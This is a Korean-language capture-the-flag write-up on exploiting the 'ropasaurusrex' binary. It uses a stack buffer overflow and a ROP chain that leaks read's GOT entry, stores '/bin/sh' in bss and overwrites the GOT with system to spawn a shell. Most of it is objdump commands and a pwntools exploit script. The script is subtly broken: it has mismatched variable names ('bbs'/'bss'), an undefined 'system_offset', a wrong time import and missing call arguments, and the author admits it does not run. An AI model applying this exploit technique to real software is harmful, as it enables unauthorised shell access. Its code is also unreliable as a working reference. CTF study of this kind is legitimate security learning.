파일명: ropasaurusrex
아무 글자나 입력하니 WIN이라는 단어가 나왔다.
바로 IDA로 까봤다.
main에서 sub_80483f4()라는 함수와 write 함수를 확인할 수 있었고 좀 전에 출력된 WIN도 볼 수 있었다.
버퍼의 크기는 136인데 read함수에서 256byte(0x100)을 입력받기 때문에 BOF취약점이 있다는 걸 확인할 수 있었다.
여기에 system("/bin/sh")을 넣어야 하는데 read, write 모두 인자를 세개씩 갖고 있으므로 "pop; pop; pop; ret" 가젯 주소를 찾는다.
objdump -d ropasaurusrex | grep -B3 ret
주소는 80484b6이다.
read@plt 주소 구하기
objdump -d ropasaurusrex | grep read
read@plt 주소는 804832c
write@plt 주소 구하기
objdump -d ropasaurusrex | grep write
write@plt 주소는 804830c
함수의 GOT구하기
* GOT overwrite: 함수 호출 시 PLT를 참조하고 PLT는 GOT를 참조한다. GOT는 라이브러리의 실제 함수 주소가 쓰여 있기 떄문에 다이나믹 방식의 컴파일에서도 사용 가능하다.)
함수가 jump 하는 곳이 GOT이므로 read()의 GOT는 0x804961c이다.
write의 GOT는 0x8049614이다.
/bin/sh을 변하지 않는 공간인 bss에 넣어주기 위해 system과 read의 주소를 찾고 오프셋을 구한다.
* 제대로 되지 않는다면 info list에서 .text(main의 시작)에 breakpoint를 건 후 실행시킨다.
bss의 주소는 08049628
payload.py
from pwn import*
from time import *
p = process("./ropasaurusrex")
e =ELF("./ropasaurusrex")
read_plt = 0x804832c
read_got = 0x804961c
write_plt = 0x804830c
write_got = 0x8049614
bbs=0x08049628
gadget=0x080484b6
bin_sh="/bin/sh\x00"
offset = 0xaf1b0
payload = ''
payload += 'A'*(0x8c) #BOF
payload += p32(write_plt)
payload += p32(gadget)
payload += p32(read_got) #?
payload += p32(4) #?
payload += p32(read_plt)
payload += p32(gadget)
payload += p32(bss)
payload += p32(8)
payload += p32(read_plt)
payload += p32(gadget)
payload += p32(read_got)
payload += p32(4)
payload += p32(read_plt)
payload += "AAAA"
payload += p32(bss)
p.sendline(payload)
p.sendline("/bin/sh")
time.sleep(1)
read_addr = u32(p.recv(4))
system_addr = read_addr - system_offset
p.sendline(p32(system_addr))
p.interactive()
p.interactive()
문제점: python 3버전에서는 p32를 쓸 수 없다. byte로 값을 읽는다... python3에서 돌려야 하는데 그렇다고 byte로 읽으면 (b"~")또 저렇게 메세지가 뜬다..